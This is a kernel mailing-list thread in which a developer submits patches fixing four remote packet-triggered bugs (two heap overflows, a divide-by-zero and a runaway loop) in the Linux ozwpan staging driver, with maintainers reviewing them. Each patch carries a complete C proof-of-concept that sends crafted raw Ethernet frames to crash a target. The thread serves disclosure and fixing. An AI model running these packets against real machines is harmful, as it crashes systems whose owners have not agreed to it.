Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-)
drivers/staging/ozwpan/ozusbsvc1.c +8 -3
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - +u16 offs, total_size; +u8 data_len; + + data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ; -u16 offs =le16_to_cpu (get_unaligned (&body->offset)); -u16 total_size = +if (data_len > elt->length) +break ; + offs =le16_to_cpu (get_unaligned (&body->offset)); + total_size =le16_to_cpu (get_unaligned (&body->total_size));oz_dbg (ON ,"USB_REQ_GET_DESCRIPTOR - cnf\n" ); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
Signature · 1 line
2.4.1
Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 397
Quoted 2 lines · Jason A. Donenfeld
drivers/staging/ozwpan/ozusbsvc1.c +1
-0+ data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ;
This was in the original code, but I wonder where the + 1 comes from. Does anyone know?
To be honest, I would prefer if we just checked:
if (elt->length < sizeof(struct oz_get_desc_rsp) + 1) return; data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
Shouldn't there be an upper bound on length? Shigekatsu?
regards,
dan carpenter
Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 6 lines · Dan Carpenter
Quoted 2 lines · Jason A. Donenfeld
+
data_len=elt->length-sizeof(struct oz_get_desc_rsp) + 1;This was in the original code, but I wonder where the + 1 comes from. Does anyone know?
I know. It's because oz_get_desc_rsp has a 1 byte data member as it's last element, that's just meant as a placeholder for a variable amount of data. elt->length is supposed to be the size of the struct elements plus the total data section, which runs after the struct. But because of this placeholder goofiness, when we take sizeof we have to subtract one.
struct oz_get_desc_rsp {
[... bla bla ...]
u8 data[1]; } PACKED;
This is sort of horrible, but it is what it is. I'd recommend these security-CRITICAL patches get merged immediately, and then cleaning up other problems with this driver can be addressed after, preferably by the maintainer.
Quoted 8 lines
To be honest, I would prefer if we just checked:
if (elt->length < sizeof(struct oz_get_desc_rsp) + 1) return; data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;Shouldn't there be an upper bound on length? Shigekatsu?
elt->length is a u8, so the upper bound is 255.
Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 17 lines · Jason A. Donenfeld
Quoted 6 lines · Dan Carpenter
Quoted 2 lines · Jason A. Donenfeld
+
data_len=elt->length-sizeof(struct oz_get_desc_rsp) + 1;This was in the original code, but I wonder where the + 1 comes from. Does anyone know?
I know. It's because
oz_get_desc_rsphas a 1 byte data member as it's last element, that's just meant as a placeholder for a variable amount of data.elt->lengthis supposed to be the size of the struct elements plus the total data section, which runs after the struct. But because of this placeholder goofiness, when we take sizeof we have to subtract one.struct
oz_get_desc_rsp{
[... bla bla ...]
Quoted 8 lines
u8 data[1]; } PACKED;This is sort of horrible, but it is what it is. I'd recommend these security-CRITICAL patches get merged immediately, and then cleaning up other problems with this driver can be addressed after, preferably by the maintainer.
Ah thanks. You are right on all counts, let's merge this.
Quoted 11 lines
Quoted 9 lines
To be honest, I would prefer if we just checked:
if (elt->length < sizeof(struct oz_get_desc_rsp) + 1) return; data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;Shouldn't there be an upper bound on length? Shigekatsu?
elt->lengthis a u8, so the upper bound is 255.
Yes. I know that, but is 255 correct?
regards,
dan carpenter
Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 3 lines · Dan Carpenter
Quoted 1 line
elt->lengthis a u8, so the upper bound is 255.Yes. I know that, but is 255 correct?
Eventually body->data is passed to oz_hcd_get_desc_cnf along with data_len. In there, body->data (now called desc) is memcpy'd into a URB transfer buffer. The checks to see if that transfer buffer is big enough are broken and vulnerable, and another patch in this set addresses that. But anyway, AFAIK, the 255 limit works fine for all subsequent types used, after this patch set is applied. The use of a u8 cannot, at this point, be *increased* since this protocol is tied to particular hardware chips sold by Atmel/Ozmo. And I can't see a reason why it should be further bounded either.
PATCH v2 2/4 ozwpan: Use unsigned ints to prevent heap overflow
In reply to Jason A. DonenfeldUsing signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-)
drivers/staging/ozwpan/ozhcd.c +4 -4
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)/* * Context: softirq */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status,const u8 *desc, -int length,int offset,int total_size) +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status,const u8 *desc, +u8 length,u16 offset,u16 total_size) {struct oz_port *port = hport;struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,if (!urb)return ;if (status ==0 ) { -int copy_len; -int required_size = urb->transfer_buffer_length; +unsigned int copy_len; +unsigned int required_size = urb->transfer_buffer_length;if (required_size > total_size) required_size = total_size;
drivers/staging/ozwpan/ozusbif.h +2 -2
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);/* Confirmation functions. */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status, -const u8 *desc,int length,int offset,int total_size); +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status, +const u8 *desc,u8 length,u16 offset,u16 total_size);void oz_hcd_control_cnf (void *hport,u8 req_id,u8 rcode,const u8 *data,int data_len);
Signature · 1 line
2.4.1
PATCH v2 3/4 ozwpan: divide-by-zero leading to panic
In reply to Jason A. DonenfeldA network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -1
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n = (len -sizeof (struct oz_multiple_fixed )+1 ) +int n; +if (!body->unit_size) +break ; + n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.4.1
PATCH v2 4/4 ozwpan: unchecked signed subtraction leads to DoS
In reply to Jason A. DonenfeldThe subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +3 -1
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; +unsigned int n;if (!body->unit_size)break ; n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size; +if (n > len / body->unit_size) +break ;while (n--) {oz_hcd_data_ind (usb_ctx->hport, body->endpoint, data, body->unit_size);
Signature · 1 line
2.4.1
Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
Quoted 6 lines · Jason A. Donenfeld
drivers/staging/ozwpan/ozusbsvc1.c +0
-0@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_multiple_fixed *body =
drivers/staging/ozwpan/ozusbsvc1.c static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, · line 335
Quoted 10 lines
drivers/staging/ozwpan/ozusbsvc1.c +3
-1(struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; +unsigned int n;if (!body->unit_size)break ; n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size; +if (n > len / body->unit_size) +break ;
You sure do like wrapping to a high value and testing the result for wrapping instead of validating before doing the subtraction...
regards,
dan carpenter
Re: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
Quoted 2 lines · Dan Carpenter
You sure do like wrapping to a high value and testing the result for wrapping instead of validating before doing the subtraction...
I do indeed. It seems like asking "did it overflow?" is more straight-forward and easier to read than trying to come up with the necessary conditions to check for "will it overflow?". Personal preference, I guess.
Re: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
Quoted 8 lines · Jason A. Donenfeld
Quoted 2 lines · Dan Carpenter
You sure do like wrapping to a high value and testing the result for wrapping instead of validating before doing the subtraction...
I do indeed. It seems like asking "did it overflow?" is more straight-forward and easier to read than trying to come up with the necessary conditions to check for "will it overflow?". Personal preference, I guess.
It's really not simpler to understand though. Also future static checkers will complain that subtracting from a user variable and you might underflow. I am updating my static checker to detect these. Also overflow and truncate might not be the right fix, maybe it's better to just drop the invalid request (patch 2/4).
What's going on with the mailing list? We seem to be losing people from the CC. I deliberately added Shigekatsu Tateno, and it says he was on the CC in my outbox but now he isn't.
Maybe we should just delete these ozwpan drivers entirely... They were merged when Ozmodevices was its own company and I don't think anyone is working on them any more.
regards,
dan carpenter
Jason A. Donenfeld
Acked-by Shigekatsu TatenoRe: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
Quoted 1 line · Dan Carpenter
It's really not simpler to understand though.
Greg - do you want me to resubmit a v3 for this, or does it not really matter and we can address this in another series? Personally, I'm erring on the side of wanting to get *something* merged sooner, rather than doing a v3.
Quoted 3 lines
Maybe we should just delete these ozwpan drivers entirely... They were merged when Ozmodevices was its own company and I don't think anyone is working on them any more.
The driver is most certainly still in widespread use. I'd caution against dropping it from the tree entirely.
The maintainer was changed just last year with this commit, when Shigekatsu Tateno became maintainer instead of Rupesh Gujare:
commit 96747a8f4e7d187f236ad392d86a37a4d1ba0b32
Author: Rupesh Gujare <[email protected]> Date: Mon May 19 15:17:30 2014 +0100
staging: ozwpan: Change Maintainer
I will be not able to work on ozwpan driver anymore. Remove my name & add Tateno as maintainer.
Greg Kroah-Hartman
maintainerRe: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
Quoted 7 lines · Jason A. Donenfeld
Quoted 1 line · Dan Carpenter
It's really not simpler to understand though.
Greg - do you want me to resubmit a v3 for this, or does it not really matter and we can address this in another series? Personally, I'm erring on the side of wanting to get *something* merged sooner, rather than doing a v3.
I'd prefer to get it right, there is no rush, these are staging drivers that no distro enables by default. Staging drivers are known to be full of all sorts of crap, including issues like this, that's why they are in the staging directory.
thanks,
greg k-h
v3 cover ozwpan: Four remote packet-of-death vulnerabilities
In reply to Jason A. DonenfeldThis is v3 for this patch series, enhancing readability.
The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.
I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
